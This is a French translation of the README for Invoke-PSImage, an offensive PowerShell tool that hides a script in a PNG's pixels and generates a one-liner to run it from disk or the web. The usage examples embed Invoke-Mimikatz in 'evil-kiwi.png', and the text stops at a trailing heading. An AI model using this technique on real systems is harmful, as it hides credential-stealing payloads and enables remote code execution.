
Encode un script PowerShell dans les pixels d'un fichier PNG et génère une oneliner à exécuter
Encode un script PowerShell dans les pixels d'un fichier PNG et génère une commande one-liner à exécuter
Invoke-PSImage prend un script PowerShell et encode les octets du script dans les pixels d'une image PNG. Il génère une commande one-liner pour exécuter le script soit à partir d'un fichier, soit depuis le web.
Il peut soit créer une nouvelle image en utilisant uniquement les données de la charge utile, soit intégrer la charge utile dans les octets de poids faible d'une image existante afin qu'elle ressemble à une véritable image. L'image est enregistrée au format PNG et peut être compressée sans perte sans affecter la capacité à exécuter la charge utile, car les données sont stockées dans les couleurs elles-mêmes. Lors de la création de nouvelles images, les scripts PowerShell normaux sont considérablement compressés, produisant généralement un PNG dont la taille de fichier représente environ 50 % du script original.
Avec la méthode d'intégration, les 4 bits de poids faible de 2 valeurs de couleur dans chaque pixel sont utilisés pour contenir la charge utile. La qualité de l'image en souffre, mais elle reste correcte. Il peut accepter la plupart des types d'images en entrée, mais la sortie sera toujours un PNG car il doit être sans perte. Chaque pixel de l'image est utilisé pour contenir un octet du script, vous aurez donc besoin d'une image avec au moins autant de pixels qu'il y a d'octets dans votre script. C'est assez facile — par exemple, Invoke-Mimikatz tient dans une image de 1920x1200.
-Script [filepath] Le chemin du script à intégrer dans l'image.
-Out [filepath] Le fichier dans lequel enregistrer l'image résultante (l'image sera un PNG)
-Image [filepath] L'image dans laquelle intégrer le script. (optionnel)
-WebRequest Génère une commande pour lire l'image depuis le web en utilisant Net.WebClient. Vous devrez héberger l'image et insérer l'URL dans la commande.
-PictureBox Génère une commande pour lire l'image depuis le web en utilisant System.Windows.Forms.PictureBox. Vous devrez héberger l'image et insérer l'URL dans la commande.
Crée une image avec le script « Invoke-Mimikatz.ps1 » intégré et génère une commande one-liner à exécuter depuis le disque :
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[Oneliner to execute from a file]
Crée une image avec le script « Invoke-Mimikatz.ps1 » intégré et génère une commande one-liner à exécuter depuis le web (vous devez encore héberger l'image et modifier l'URL) :
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
[Oneliner to execute from the web]
Exécution d'une image hébergée sur le web :
